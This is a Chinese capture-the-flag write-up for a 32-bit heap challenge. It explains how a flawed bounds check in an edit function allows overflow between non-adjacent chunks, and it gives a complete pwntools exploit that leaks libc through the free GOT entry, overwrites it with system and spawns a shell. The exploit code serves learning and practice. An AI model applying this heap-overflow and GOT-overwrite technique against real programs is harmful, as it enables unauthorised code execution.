这个题在构造 chunk 的时候,稍微巧妙一点
check
32位,开了NX,Canary
常规堆管理器
add:
这里可以看得出这个 name_chunk 里面就装两个东西:
struct User{
char *description; #description地址
char name[0x7c];
};
free:
先检查两个 chunk 是否存在,再释放
update:
这里编辑功能,有一个检测溢出,但是这个是通过 description_chunk + szie >= user_chunk-4 来检测的
正常情况来说是 description_chunk 和 user_chunk 相邻,两个地址直接的偏移就是 size 。但是当这两个 chunk 不相邻,相差较远时,中间的差距也在是可写的 size 范围内,就能溢出到中间的 chunk 了。
溢出之后,edit里面写入是向一个地址里面写,覆盖为 free_got 就行,不需要构造 fake chunk 过去
exp:
from pwn import *
from LibcSearcher import *
p=remote('node4.buuoj.cn',27571)
#p=process('./pwn')
context.log_level='debug'
elf=ELF('./pwn')
def add(size,name,test_len,text):
p.recvuntil('Action: ')
p.sendline(str(0))
p.recvuntil('description: ')
p.sendline(str(size))
p.recvuntil('name: ')
p.sendline(str(name))
p.recvuntil('length: ')
p.sendline(str(test_len))
p.recvuntil('text: ')
p.sendline(str(text))
def free(idx):
p.recvuntil('Action: ')
p.sendline(str(1))
p.recvuntil('index: ')
p.sendline(str(idx))
def dump(idx):
p.recvuntil('Action: ')
p.sendline(str(2))
p.recvuntil('index: ')
p.sendline(str(idx))
def edit(idx,text_len,text):
p.recvuntil('Action: ')
p.sendline(str(3))
p.recvuntil(': ')
p.sendline(str(idx))
p.recvuntil(': ')
p.sendline(str(text_len))
p.recvuntil(': ')
p.sendline(str(text))
free_got = elf.got['free']
add(0x20,'a',16,'aaaa')
add(0x10,'b',16,'bbbb')
add(0x10,'c',16,'cccc')
add(0x10,'d',16,'/bin/sh\x00')
free(2)
free(0)
payload = 'a'*0x20+p32(0)+p32(0x89)+'a'*0x80+p32(0)+p32(0x18)+'a'*0x10+p32(0)+p32(0x89)+p32(free_got)
add(0x20,'ffff',len(payload),payload)
#gdb.attach(p)
dump(1)
print(p.recvline())
print('recv:',p.recvuntil('description: '))
free_addr=u32(p.recv(4))
print(hex(free_addr))
#gdb.attach(p)
libc=LibcSearcher("free",free_addr)
libc_base=free_addr-libc.dump("free")
system=libc_base+libc.dump("system")
#gdb.attach(p)
print('free:',hex(free_addr))
print('system:',hex(system))
edit(1,0x10,p32(system))
#gdb.attach(p)
free(3)
p.interactive()